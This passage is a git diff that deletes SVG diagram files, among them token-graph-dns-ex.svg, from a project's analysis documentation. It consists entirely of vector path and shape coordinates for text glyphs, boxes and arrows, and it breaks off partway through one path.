-                <path d="M84.39813,33.07748 L84.39813,19.718097 L89.445005,19.718097 C90.3304217,19.718097 91.007505,19.7597637 91.476255,19.843097 C92.1220883,19.9576803 92.6689633,20.171222 93.11688,20.483722 C93.5647967,20.7858053 93.9241717,21.2128887 94.195005,21.764972 C94.4658383,22.3170553 94.601255,22.9264303 94.601255,23.593097 C94.601255,24.7285137 94.2366717,25.6920553 93.507505,26.483722 C92.788755,27.264972 91.4814633,27.655597 89.58563,27.655597 L86.163755,27.655597 L86.163755,33.07748 L84.39813,33.07748 L84.39813,33.07748 Z M86.163755,26.0774724 L89.61688,26.0774724 C90.7627133,26.0774724 91.5752133,25.8639307 92.05438,25.4368474 C92.5335467,25.0097641 92.77313,24.4108057 92.77313,23.6399724 C92.77313,23.0774724 92.632505,22.5983057 92.351255,22.2024724 C92.070005,21.8066391 91.695005,21.5462224 91.226255,21.4212224 C90.9345883,21.3378891 90.3877133,21.2962224 89.58563,21.2962224 L86.163755,21.2962224 L86.163755,26.0774724 L86.163755,26.0774724 Z M96.029203,28.23373 C96.029203,26.4420583 96.5239947,25.1191391 97.513578,24.2649724 C98.3469113,23.5462224 99.3625363,23.1868474 100.560453,23.1868474 C101.893786,23.1868474 102.982328,23.6243474 103.826078,24.4993474 C104.669828,25.3639307 105.091703,26.5670583 105.091703,28.10873 C105.091703,29.3483133 104.904203,30.32748 104.529203,31.04623 C104.154203,31.7545633 103.607328,32.3066467 102.888578,32.70248 C102.180245,33.0983133 101.404203,33.29623 100.560453,33.29623 C99.2062863,33.29623 98.1125363,32.8639383 97.279203,31.999355 C96.4458697,31.124355 96.029203,29.8691467 96.029203,28.23373 Z M97.716703,28.23373 C97.716703,29.4733133 97.982328,30.405605 98.513578,31.030605 C99.0552447,31.6451883 99.7375363,31.95248 100.560453,31.95248 C101.372953,31.95248 102.050036,31.6451883 102.591703,31.030605 C103.13337,30.405605 103.404203,29.4576883 103.404203,28.186855 C103.404203,26.9889333 103.13337,26.0826807 102.591703,25.4680974 C102.050036,24.8535141 101.372953,24.5462224 100.560453,24.5462224 C99.7375363,24.5462224 99.0552447,24.8535141 98.513578,25.4680974 C97.982328,26.0722641 97.716703,26.9941416 97.716703,28.23373 Z M108.795545,33.07748 L105.826795,23.405597 L107.52992,23.405597 L109.06117,28.9837296 L109.639295,31.0618546 C109.670545,30.9576879 109.837212,30.2910213 110.139295,29.0618546 L111.68617,23.405597 L113.37367,23.405597 L114.81117,29.0149796 L115.295545,30.8587296 L115.858045,28.9993546 L117.514295,23.405597 L119.108045,23.405597 L116.076795,33.07748 L114.37367,33.07748 L112.84242,27.2805974 L112.46742,25.6399724 L110.514295,33.07748 L108.795545,33.07748 Z M127.112241,29.968105 L128.799741,30.17123 C128.528908,31.1608133 128.034116,31.9316467 127.315366,32.48373 C126.596616,33.0253967 125.674741,33.29623 124.549741,33.29623 C123.133074,33.29623 122.008074,32.8639383 121.174741,31.999355 C120.351824,31.124355 119.940366,29.9003967 119.940366,28.32748 C119.940366,26.6920583 120.357033,25.4264307 121.190366,24.5305974 C122.034116,23.6347641 123.122658,23.1868474 124.455991,23.1868474 C125.747658,23.1868474 126.799741,23.6295557 127.612241,24.5149724 C128.435158,25.3899724 128.846616,26.6243499 128.846616,28.218105 C128.846616,28.3222717 128.846616,28.468105 128.846616,28.655605 L121.627866,28.655605 C121.690366,29.718105 121.992449,30.5358133 122.534116,31.10873 C123.075783,31.67123 123.747658,31.95248 124.549741,31.95248 C125.153908,31.95248 125.669533,31.79623 126.096616,31.48373 C126.523699,31.1608133 126.862241,30.655605 127.112241,29.968105 Z M121.721616,27.3118474 L127.127866,27.3118474 C127.054949,26.4993474 126.846616,25.8899724 126.502866,25.4837224 C125.982033,24.8483057 125.304949,24.5305974 124.471616,24.5305974 C123.721616,24.5305974 123.086199,24.7858057 122.565366,25.2962224 C122.054949,25.7962224 121.773699,26.4680974 121.721616,27.3118474 Z M130.847333,33.07748 L130.847333,23.405597 L132.316083,23.405597 L132.316083,24.874347 C132.691083,24.186847 133.034833,23.733722 133.347333,23.514972 C133.67025,23.296222 134.024416,23.186847 134.409833,23.186847 C134.961916,23.186847 135.524416,23.3639303 136.097333,23.718097 L135.534833,25.233722 C135.128583,24.9941387 134.727541,24.874347 134.331708,24.874347 C133.967125,24.874347 133.644208,24.983722 133.362958,25.202472 C133.081708,25.421222 132.878583,25.718097 132.753583,26.093097 C132.566083,26.6764303 132.472333,27.3170579 132.472333,28.0149796 L132.472333,33.07748 L130.847333,33.07748 L130.847333,33.07748 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="265.96063 10.47244 332.38583 10.47244 332.38583 41.842511 265.96063 41.842511"></polygon>
-                <path d="M280.82782,28.78061 L282.48407,28.639985 C282.567403,29.3066517 282.749695,29.8535267 283.030945,30.28061 C283.322612,30.7076933 283.770528,31.0566517 284.374695,31.327485 C284.989278,31.5879017 285.676778,31.71811 286.437195,31.71811 C287.103862,31.71811 287.697612,31.6191517 288.218445,31.421235 C288.739278,31.2233183 289.124695,30.952485 289.374695,30.608735 C289.624695,30.2545683 289.749695,29.8691517 289.749695,29.452485 C289.749695,29.0358183 289.624695,28.671235 289.374695,28.358735 C289.135112,28.0462299 288.739278,27.7806024 288.187195,27.5618524 C287.822612,27.4264357 287.025737,27.2128941 285.79657,26.9212274 C284.57782,26.6191441 283.723653,26.3378941 283.23407,26.0774774 C282.588237,25.7441441 282.10907,25.3326857 281.79657,24.8431024 C281.48407,24.3431024 281.32782,23.7858107 281.32782,23.1712274 C281.32782,22.5045607 281.520528,21.8795607 281.905945,21.2962274 C282.291362,20.7024774 282.848653,20.2545607 283.57782,19.9524774 C284.317403,19.6503941 285.135112,19.4993524 286.030945,19.4993524 C287.020528,19.4993524 287.89032,19.6608107 288.64032,19.9837274 C289.400737,20.2962274 289.98407,20.7649774 290.39032,21.3899774 C290.79657,22.0045607 291.01532,22.7024774 291.04657,23.4837274 L289.35907,23.6087274 C289.26532,22.7649774 288.95282,22.1295607 288.42157,21.7024774 C287.900737,21.2649774 287.129903,21.0462274 286.10907,21.0462274 C285.036153,21.0462274 284.254903,21.2441441 283.76532,21.6399774 C283.275737,22.0358107 283.030945,22.5097691 283.030945,23.0618524 C283.030945,23.5410191 283.208028,23.9316441 283.562195,24.2337274 C283.895528,24.5462274 284.780945,24.8691441 286.218445,25.2024774 C287.655945,25.5253941 288.64032,25.8066441 289.17157,26.0462274 C289.95282,26.4003941 290.525737,26.8535191 290.89032,27.4056024 C291.26532,27.9576908 291.45282,28.59311 291.45282,29.31186 C291.45282,30.0201933 291.249695,30.6920683 290.843445,31.327485 C290.437195,31.952485 289.853862,32.4420683 289.093445,32.796235 C288.333028,33.139985 287.473653,33.31186 286.51532,33.31186 C285.306987,33.31186 284.291362,33.1347767 283.468445,32.78061 C282.655945,32.4264433 282.01532,31.8951933 281.54657,31.18686 C281.088237,30.4785267 280.848653,29.6764433 280.82782,28.78061 Z M293.662018,33.077485 L293.662018,19.718102 L295.302643,19.718102 L295.302643,24.514977 C296.06306,23.6295603 297.026601,23.186852 298.193268,23.186852 C298.912018,23.186852 299.53181,23.327477 300.052643,23.608727 C300.583893,23.889977 300.964101,24.280602 301.193268,24.780602 C301.422435,25.280602 301.537018,26.0045603 301.537018,26.952477 L301.537018,33.077485 L299.896393,33.077485 L299.896393,26.952477 C299.896393,26.1295603 299.71931,25.530602 299.365143,25.155602 C299.010976,24.780602 298.505768,24.593102 297.849518,24.593102 C297.370351,24.593102 296.917226,24.7233103 296.490143,24.983727 C296.06306,25.233727 295.755768,25.5722687 295.568268,25.999352 C295.391185,26.4264353 295.302643,27.0201853 295.302643,27.780602 L295.302643,33.077485 L293.662018,33.077485 L293.662018,33.077485 Z M303.428375,28.233735 C303.428375,26.4420633 303.923167,25.1191441 304.91275,24.2649774 C305.746083,23.5462274 306.761708,23.1868524 307.959625,23.1868524 C309.292958,23.1868524 310.3815,23.6243524 311.22525,24.4993524 C312.069,25.3639357 312.490875,26.5670633 312.490875,28.108735 C312.490875,29.3483183 312.303375,30.327485 311.928375,31.046235 C311.553375,31.7545683 311.0065,32.3066517 310.28775,32.702485 C309.579417,33.0983183 308.803375,33.296235 307.959625,33.296235 C306.605458,33.296235 305.511708,32.8639433 304.678375,31.99936 C303.845042,31.12436 303.428375,29.8691517 303.428375,28.233735 Z M305.115875,28.233735 C305.115875,29.4733183 305.3815,30.40561 305.91275,31.03061 C306.454417,31.6451933 307.136708,31.952485 307.959625,31.952485 C308.772125,31.952485 309.449208,31.6451933 309.990875,31.03061 C310.532542,30.40561 310.803375,29.4576933 310.803375,28.18686 C310.803375,26.9889383 310.532542,26.0826857 309.990875,25.4681024 C309.449208,24.8535191 308.772125,24.5462274 307.959625,24.5462274 C307.136708,24.5462274 306.454417,24.8535191 305.91275,25.4681024 C305.3815,26.0722691 305.115875,26.9941466 305.115875,28.233735 Z M317.991577,31.608735 L318.225952,33.06186 C317.767619,33.15561 317.35616,33.202485 316.991577,33.202485 C316.397827,33.202485 315.934285,33.108735 315.600952,32.921235 C315.278035,32.733735 315.048869,32.4889433 314.913452,32.18686 C314.778035,31.87436 314.710327,31.2285267 314.710327,30.24936 L314.710327,24.6712274 L313.507202,24.6712274 L313.507202,23.4056024 L314.710327,23.4056024 L314.710327,21.0149774 L316.335327,20.0306024 L316.335327,23.4056024 L317.991577,23.4056024 L317.991577,24.6712274 L316.335327,24.6712274 L316.335327,30.34311 C316.335327,30.8014433 316.361369,31.0983183 316.413452,31.233735 C316.475952,31.3691517 316.569702,31.4785267 316.694702,31.56186 C316.830119,31.6347767 317.022827,31.671235 317.272827,31.671235 C317.44991,31.671235 317.689494,31.6504017 317.991577,31.608735 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="447.53366 10.47244 518.43127 10.47244 518.43127 41.842511 447.53366 41.842511"></polygon>
-                <path d="M471.62164,31.49936 L471.62164,33.077485 L462.793545,33.077485 C462.783129,32.6816517 462.845629,32.3014433 462.981045,31.93686 C463.210212,31.3326933 463.569587,30.7389433 464.05917,30.15561 C464.55917,29.5722767 465.27792,28.9004017 466.21542,28.139985 C467.663337,26.9524799 468.642504,26.0097691 469.15292,25.3118524 C469.663337,24.6139357 469.918545,23.9576857 469.918545,23.3431024 C469.918545,22.6868524 469.68417,22.1399774 469.21542,21.7024774 C468.757087,21.2545607 468.15292,21.0306024 467.40292,21.0306024 C466.611254,21.0306024 465.975837,21.2701857 465.49667,21.7493524 C465.02792,22.2181024 464.793545,22.8691441 464.793545,23.7024774 L463.106045,23.5306024 C463.220629,22.2701857 463.65292,21.3118524 464.40292,20.6556024 C465.163337,19.9993524 466.173754,19.6712274 467.43417,19.6712274 C468.71542,19.6712274 469.731045,20.0253941 470.481045,20.7337274 C471.231025,21.4420607 471.606015,22.3222691 471.606015,23.3743524 C471.606015,23.9056024 471.49664,24.4316441 471.27789,24.9524774 C471.05916,25.4733107 470.694587,26.0201857 470.18417,26.5931024 C469.68417,27.1556024 468.84042,27.9368549 467.65292,28.93686 C466.673754,29.7597767 466.043545,30.3222767 465.762295,30.62436 C465.481045,30.9160267 465.251879,31.2076933 465.074795,31.49936 L471.62164,31.49936 Z M473.387997,26.4837274 C473.387997,24.9108107 473.549456,23.6451857 473.872372,22.6868524 C474.195289,21.7181024 474.674456,20.9733107 475.309872,20.4524774 C475.955706,19.9316441 476.762997,19.6712274 477.731747,19.6712274 C478.450497,19.6712274 479.080706,19.8170607 479.622372,20.1087274 C480.164039,20.3899774 480.606747,20.8066441 480.950497,21.3587274 C481.304664,21.9003941 481.580706,22.5618524 481.778622,23.3431024 C481.986956,24.1139357 482.091122,25.1608107 482.091122,26.4837274 C482.091122,28.0566491 481.929664,29.327485 481.606747,30.296235 C481.283831,31.2545683 480.799456,31.99936 480.153622,32.53061 C479.518206,33.0514433 478.710914,33.31186 477.731747,33.31186 C476.450497,33.31186 475.440081,32.8483183 474.700497,31.921235 C473.825497,30.8066517 473.387997,28.9941491 473.387997,26.4837274 Z M475.059872,26.4837274 C475.059872,28.6816491 475.315081,30.1451933 475.825497,30.87436 C476.346331,31.59311 476.981747,31.952485 477.731747,31.952485 C478.492164,31.952485 479.127581,31.5879017 479.637997,30.858735 C480.148414,30.1295683 480.403622,28.6712325 480.403622,26.4837274 C480.403622,24.2858107 480.148414,22.8274774 479.637997,22.1087274 C479.127581,21.3899774 478.486956,21.0306024 477.716122,21.0306024 C476.966122,21.0306024 476.367164,21.3483107 475.919247,21.9837274 C475.346331,22.7962274 475.059872,24.2962274 475.059872,26.4837274 Z M483.763729,26.4837274 C483.763729,24.9108107 483.925188,23.6451857 484.248104,22.6868524 C484.571021,21.7181024 485.050188,20.9733107 485.685604,20.4524774 C486.331438,19.9316441 487.138729,19.6712274 488.107479,19.6712274 C488.826229,19.6712274 489.456438,19.8170607 489.998104,20.1087274 C490.539771,20.3899774 490.982479,20.8066441 491.326229,21.3587274 C491.680396,21.9003941 491.956438,22.5618524 492.154354,23.3431024 C492.362688,24.1139357 492.466854,25.1608107 492.466854,26.4837274 C492.466854,28.0566491 492.305396,29.327485 491.982479,30.296235 C491.659563,31.2545683 491.175188,31.99936 490.529354,32.53061 C489.893938,33.0514433 489.086646,33.31186 488.107479,33.31186 C486.826229,33.31186 485.815813,32.8483183 485.076229,31.921235 C484.201229,30.8066517 483.763729,28.9941491 483.763729,26.4837274 Z M485.435604,26.4837274 C485.435604,28.6816491 485.690813,30.1451933 486.201229,30.87436 C486.722063,31.59311 487.357479,31.952485 488.107479,31.952485 C488.867896,31.952485 489.503313,31.5879017 490.013729,30.858735 C490.524146,30.1295683 490.779354,28.6712325 490.779354,26.4837274 C490.779354,24.2858107 490.524146,22.8274774 490.013729,22.1087274 C489.503313,21.3899774 488.862688,21.0306024 488.091854,21.0306024 C487.341854,21.0306024 486.742896,21.3483107 486.294979,21.9837274 C485.722063,22.7962274 485.435604,24.2962274 485.435604,26.4837274 Z M494.139461,26.4837274 C494.139461,24.9108107 494.30092,23.6451857 494.623836,22.6868524 C494.946753,21.7181024 495.42592,20.9733107 496.061336,20.4524774 C496.70717,19.9316441 497.514461,19.6712274 498.483211,19.6712274 C499.201961,19.6712274 499.83217,19.8170607 500.373836,20.1087274 C500.915503,20.3899774 501.358211,20.8066441 501.701961,21.3587274 C502.056128,21.9003941 502.33217,22.5618524 502.530086,23.3431024 C502.73842,24.1139357 502.842586,25.1608107 502.842586,26.4837274 C502.842586,28.0566491 502.681128,29.327485 502.358211,30.296235 C502.035295,31.2545683 501.55092,31.99936 500.905086,32.53061 C500.26967,33.0514433 499.462378,33.31186 498.483211,33.31186 C497.201961,33.31186 496.191545,32.8483183 495.451961,31.921235 C494.576961,30.8066517 494.139461,28.9941491 494.139461,26.4837274 Z M495.811336,26.4837274 C495.811336,28.6816491 496.066545,30.1451933 496.576961,30.87436 C497.097795,31.59311 497.733211,31.952485 498.483211,31.952485 C499.243628,31.952485 499.879045,31.5879017 500.389461,30.858735 C500.899878,30.1295683 501.155086,28.6712325 501.155086,26.4837274 C501.155086,24.2858107 500.899878,22.8274774 500.389461,22.1087274 C499.879045,21.3899774 499.23842,21.0306024 498.467586,21.0306024 C497.717586,21.0306024 497.118628,21.3483107 496.670711,21.9837274 C496.097795,22.7962274 495.811336,24.2962274 495.811336,26.4837274 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-            </g>
-        </g>
-    </g>
-</svg>
\ No newline at end of file
diff --git a/docs/reference/images/analysis/token-graph-dns-ex.svg b/docs/reference/images/analysis/token-graph-dns-ex.svg
deleted file mode 100644
index 0eda4fa54bd..00000000000
--- a/docs/reference/images/analysis/token-graph-dns-ex.svg
+++ /dev/null
@@ -1,65 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<svg width="810px" height="54px" viewBox="0 0 810 54" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-    <!-- Generator: Sketch 60.1 (88133) - https://sketch.com -->
-    <title>Slice 1</title>
-    <desc>Created with Sketch.</desc>
-    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
-        <g id="token-graph-dns-ex" transform="translate(1.000000, 1.000000)">
-            <g id="Group">
-                <path d="M0.209972,1.39317 L0.209972,1.39317 C0.209972,0.6962172 0.774963,0.13123 1.471912,0.13123 L46.318115,0.13123 C46.6528013,0.13123 46.9737775,0.26418746 47.2104414,0.50084365 C47.4470975,0.73749984 47.580055,1.05848375 47.580055,1.39317 L47.580055,48.948025 C47.580055,49.6449855 47.0150602,50.2099726 46.318115,50.2099726 L1.471912,50.2099726 C0.774963,50.2099726 0.209972,49.6449854 0.209972,48.948025 L0.209972,1.39317 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M0.209972,1.39317 L0.209972,1.39317 C0.209972,0.6962172 0.774963,0.13123 1.471912,0.13123 L46.318115,0.13123 C46.6528013,0.13123 46.9737775,0.26418746 47.2104414,0.50084365 C47.4470975,0.73749984 47.580055,1.05848375 47.580055,1.39317 L47.580055,48.948025 C47.580055,49.6449855 47.0150602,50.2099726 46.318115,50.2099726 L1.471912,50.2099726 C0.774963,50.2099726 0.209972,49.6449854 0.209972,48.948025 L0.209972,1.39317 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M19.488403,25.49685 C19.488403,23.9239333 19.6498613,22.6583083 19.972778,21.699975 C20.2956947,20.731225 20.7748613,19.9864333 21.410278,19.4656 C22.0561113,18.9447667 22.863403,18.68435 23.832153,18.68435 C24.550903,18.68435 25.1811113,18.8301833 25.722778,19.12185 C26.2644447,19.4031 26.707153,19.8197667 27.050903,20.37185 C27.4050697,20.9135167 27.6811113,21.574975 27.879028,22.356225 C28.0873613,23.1270583 28.191528,24.1739333 28.191528,25.49685 C28.191528,27.0697667 28.0300697,28.3406025 27.707153,29.3093576 C27.3842363,30.2676909 26.8998613,31.0124826 26.254028,31.5437326 C25.6186113,32.0645659 24.8113197,32.3249826 23.832153,32.3249826 C22.550903,32.3249826 21.5404863,31.8614409 20.800903,30.9343576 C19.925903,29.8197743 19.488403,28.0072717 19.488403,25.49685 L19.488403,25.49685 Z M21.160278,25.49685 C21.160278,27.6947717 21.4154863,29.1583159 21.925903,29.8874826 C22.4467363,30.6062326 23.082153,30.9656076 23.832153,30.9656076 C24.5925697,30.9656076 25.2279863,30.6010243 25.738403,29.8718576 C26.2488197,29.1426909 26.504028,27.6843551 26.504028,25.49685 C26.504028,23.2989333 26.2488197,21.8406 25.738403,21.12185 C25.2279863,20.4031 24.5873613,20.043725 23.816528,20.043725 C23.066528,20.043725 22.4675697,20.3614333 22.019653,20.99685 C21.4467363,21.80935 21.160278,23.30935 21.160278,25.49685 L21.160278,25.49685 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M167.71559,4.1045 L167.71559,4.1045 C167.71559,2.5803148 168.951186,1.344719 170.475371,1.344719 L212.325881,1.344719 C213.05783,1.344719 213.759795,1.63547523 214.277343,2.1530381 C214.794906,2.67060097 215.085662,3.3725587 215.085662,4.1044999 L215.085662,48.6636799 C215.085662,50.1878651 213.850066,51.4234609 212.325881,51.4234609 L170.475371,51.4234609 C168.951186,51.4234609 167.71559,50.1878652 167.71559,48.6636799 L167.71559,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M167.71559,4.1045 L167.71559,4.1045 C167.71559,2.5803148 168.951186,1.344719 170.475371,1.344719 L212.325881,1.344719 C213.05783,1.344719 213.759795,1.63547523 214.277343,2.1530381 C214.794906,2.67060097 215.085662,3.3725587 215.085662,4.1044999 L215.085662,48.6636799 C215.085662,50.1878651 213.850066,51.4234609 212.325881,51.4234609 L170.475371,51.4234609 C168.951186,51.4234609 167.71559,50.1878652 167.71559,48.6636799 L167.71559,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M193.1659,33.3041 L191.525275,33.3041 L191.525275,22.850967 C191.129442,23.225967 190.608608,23.6061753 189.962775,23.991592 C189.327358,24.366592 188.754442,24.647842 188.244025,24.835342 L188.244025,23.241592 C189.160692,22.8145087 189.962775,22.2936753 190.650275,21.679092 C191.337775,21.0645087 191.82215,20.4707587 192.1034,19.897842 L193.1659,19.897842 L193.1659,33.3041 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="39.08891 16.85302 58.521977 16.85302 58.521977 38.679795 39.08891 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="159.08891 16.85302 178.521985 16.85302 178.521985 38.679795 159.08891 38.679795"></polygon>
-                <line x1="178.52199" y1="27.7664" x2="48.19127" y2="27.2309691" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="160.52213" y1="27.69245" x2="48.19128" y2="27.2309708" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="160.50177 32.64761 174.136307 27.7483867 160.542496 22.7372937"></polygon>
-                <path d="M319.71558,4.1045 L319.71558,4.1045 C319.71558,2.5803148 320.951206,1.344719 322.475376,1.344719 L364.325901,1.344719 C365.057835,1.344719 365.7598,1.63547523 366.277348,2.1530381 C366.794926,2.67060097 367.085667,3.3725587 367.085667,4.1044999 L367.085667,48.6636799 C367.085667,50.1878651 365.850071,51.4234609 364.325901,51.4234609 L322.475376,51.4234609 C320.951206,51.4234609 319.71558,50.1878652 319.71558,48.6636799 L319.71558,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M319.71558,4.1045 L319.71558,4.1045 C319.71558,2.5803148 320.951206,1.344719 322.475376,1.344719 L364.325901,1.344719 C365.057835,1.344719 365.7598,1.63547523 366.277348,2.1530381 C366.794926,2.67060097 367.085667,3.3725587 367.085667,4.1044999 L367.085667,48.6636799 C367.085667,50.1878651 365.850071,51.4234609 364.325901,51.4234609 L322.475376,51.4234609 C320.951206,51.4234609 319.71558,50.1878652 319.71558,48.6636799 L319.71558,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M347.6034,31.72597 L347.6034,33.304095 L338.775275,33.304095 C338.764858,32.9082617 338.827358,32.5280533 338.962775,32.16347 C339.191942,31.5593033 339.551317,30.9655533 340.0409,30.38222 C340.5409,29.7988867 341.25965,29.1270117 342.19715,28.366595 C343.645067,27.1790899 344.624233,26.2363791 345.13465,25.5384624 C345.645067,24.8405457 345.900275,24.1842957 345.900275,23.5697124 C345.900275,22.9134624 345.6659,22.3665874 345.19715,21.9290874 C344.738817,21.4811707 344.13465,21.2572124 343.38465,21.2572124 C342.592983,21.2572124 341.957567,21.4967957 341.4784,21.9759624 C341.00965,22.4447124 340.775275,23.0957541 340.775275,23.9290874 L339.087775,23.7572124 C339.202358,22.4967957 339.63465,21.5384624 340.38465,20.8822124 C341.145067,20.2259624 342.155483,19.8978374 343.4159,19.8978374 C344.69715,19.8978374 345.712775,20.2520041 346.462775,20.9603374 C347.212775,21.6686707 347.587775,22.5488791 347.587775,23.6009624 C347.587775,24.1322124 347.4784,24.6582541 347.25965,25.1790874 C347.0409,25.6999207 346.676317,26.2467957 346.1659,26.8197124 C345.6659,27.3822124 344.82215,28.1634649 343.63465,29.16347 C342.655483,29.9863867 342.025275,30.5488867 341.744025,30.85097 C341.462775,31.1426367 341.233608,31.4343033 341.056525,31.72597 L347.6034,31.72597 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="207.08891 16.85302 226.52197 16.85302 226.52197 38.679795 207.08891 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="311.0889 16.85302 330.521975 16.85302 330.521975 38.679795 311.0889 38.679795"></polygon>
-                <path d="M487.7156,4.1045 L487.7156,4.1045 C487.7156,2.5803148 488.951196,1.344719 490.475366,1.344719 L532.325891,1.344719 C533.057824,1.344719 533.75979,1.63547523 534.277368,2.1530381 C534.794946,2.67060097 535.085717,3.3725587 535.085717,4.1044999 L535.085717,48.6636799 C535.085717,50.1878651 533.850122,51.4234609 532.325891,51.4234609 L490.475366,51.4234609 C488.951196,51.4234609 487.7156,50.1878652 487.7156,48.6636799 L487.7156,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M487.7156,4.1045 L487.7156,4.1045 C487.7156,2.5803148 488.951196,1.344719 490.475366,1.344719 L532.325891,1.344719 C533.057824,1.344719 533.75979,1.63547523 534.277368,2.1530381 C534.794946,2.67060097 535.085717,3.3725587 535.085717,4.1044999 L535.085717,48.6636799 C535.085717,50.1878651 533.850122,51.4234609 532.325891,51.4234609 L490.475366,51.4234609 C488.951196,51.4234609 487.7156,50.1878652 487.7156,48.6636799 L487.7156,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M506.994,29.77284 L508.634625,29.55409 C508.822125,30.49159 509.139833,31.163465 509.58775,31.569715 C510.046083,31.975965 510.598167,32.17909 511.244,32.17909 C512.014833,32.17909 512.665875,31.913465 513.197125,31.382215 C513.728375,30.850965 513.994,30.1895067 513.994,29.3978324 C513.994,28.64784 513.749208,28.0280458 513.259625,27.5384574 C512.770042,27.0488741 512.145042,26.8040824 511.384625,26.8040824 C511.072125,26.8040824 510.686708,26.8613741 510.228375,26.9759574 L510.415875,25.5384574 C510.520042,25.5488741 510.608583,25.5540824 510.6815,25.5540824 C511.379417,25.5540824 512.004417,25.3717907 512.5565,25.0072074 C513.119,24.6426241 513.40025,24.0853324 513.40025,23.3353324 C513.40025,22.7311657 513.197125,22.2311657 512.790875,21.8353324 C512.384625,21.4394991 511.858583,21.2415824 511.21275,21.2415824 C510.577333,21.2415824 510.046083,21.4447074 509.619,21.8509574 C509.191917,22.2467907 508.921083,22.8457491 508.8065,23.6478324 L507.165875,23.3509574 C507.363792,22.2572074 507.816917,21.4082491 508.52525,20.8040824 C509.233583,20.1999157 510.119,19.8978324 511.1815,19.8978324 C511.910667,19.8978324 512.577333,20.0540824 513.1815,20.3665824 C513.796083,20.6790824 514.264833,21.1061657 514.58775,21.6478324 C514.921083,22.1894991 515.08775,22.7624157 515.08775,23.3665824 C515.08775,23.9394991 514.9315,24.4655407 514.619,24.9447074 C514.3065,25.4134574 513.848167,25.7884574 513.244,26.0697074 C514.035667,26.2572074 514.65025,26.6374157 515.08775,27.2103324 C515.52525,27.7832541 515.744,28.5020067 515.744,29.36659 C515.744,30.52284 515.316917,31.507215 514.46275,32.319715 C513.619,33.132215 512.546083,33.538465 511.244,33.538465 C510.066917,33.538465 509.092958,33.1895067 508.322125,32.49159 C507.551292,31.7936733 507.108583,30.8874233 506.994,29.77284 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="359.0889 16.85302 378.521975 16.85302 378.521975 38.679795 359.0889 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="479.0889 16.85302 498.521944 16.85302 498.521944 38.679795 479.0889 38.679795"></polygon>
-                <line x1="496.9606" y1="27.00144" x2="369.18106" y2="28.765211" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="478.9623" y1="27.24987" x2="369.18105" y2="28.7652127" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="479.03064 32.20459 492.575257 27.061966 478.89386 22.295143"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="58.385826 10.47244 147.83464 10.47244 147.83464 41.842511 58.385826 41.842511"></polygon>
-                <path d="M80.01599,33.07748 L80.01599,31.85873 C79.4118233,32.8170633 78.5107817,33.29623 77.312865,33.29623 C76.5420317,33.29623 75.8336983,33.0826883 75.187865,32.655605 C74.5420317,32.2285217 74.0420317,31.6347717 73.687865,30.874355 C73.3336983,30.1139383 73.156615,29.2389383 73.156615,28.249355 C73.156615,27.2805999 73.3180733,26.4055974 73.64099,25.6243474 C73.9639067,24.8326807 74.4430733,24.2285141 75.07849,23.8118474 C75.7243233,23.3951807 76.4482817,23.1868474 77.250365,23.1868474 C77.8336983,23.1868474 78.3493233,23.3118474 78.79724,23.5618474 C79.2555733,23.8014307 79.625365,24.1191391 79.906615,24.5149724 L79.906615,19.7180974 L81.54724,19.7180974 L81.54724,33.0774804 L80.01599,33.0774804 L80.01599,33.07748 Z M74.844115,28.249355 C74.844115,29.4889383 75.1045317,30.4160217 75.625365,31.030605 C76.1461983,31.6451883 76.7607817,31.95248 77.469115,31.95248 C78.187865,31.95248 78.79724,31.6608133 79.29724,31.07748 C79.79724,30.48373 80.04724,29.5878967 80.04724,28.38998 C80.04724,27.0670583 79.7920317,26.0983057 79.281615,25.4837224 C78.7711983,24.8587224 78.14099,24.5462224 77.39099,24.5462224 C76.67224,24.5462224 76.0680733,24.8430974 75.57849,25.4368474 C75.0889067,26.0305974 74.844115,26.9680999 74.844115,28.249355 Z M83.516707,28.23373 C83.516707,26.4420583 84.0114987,25.1191391 85.001082,24.2649724 C85.8344153,23.5462224 86.8500403,23.1868474 88.047957,23.1868474 C89.3812903,23.1868474 90.469832,23.6243474 91.313582,24.4993474 C92.157332,25.3639307 92.579207,26.5670583 92.579207,28.10873 C92.579207,29.3483133 92.391707,30.32748 92.016707,31.04623 C91.641707,31.7545633 91.094832,32.3066467 90.376082,32.70248 C89.6677487,33.0983133 88.891707,33.29623 88.047957,33.29623 C86.6937903,33.29623 85.6000403,32.8639383 84.766707,31.999355 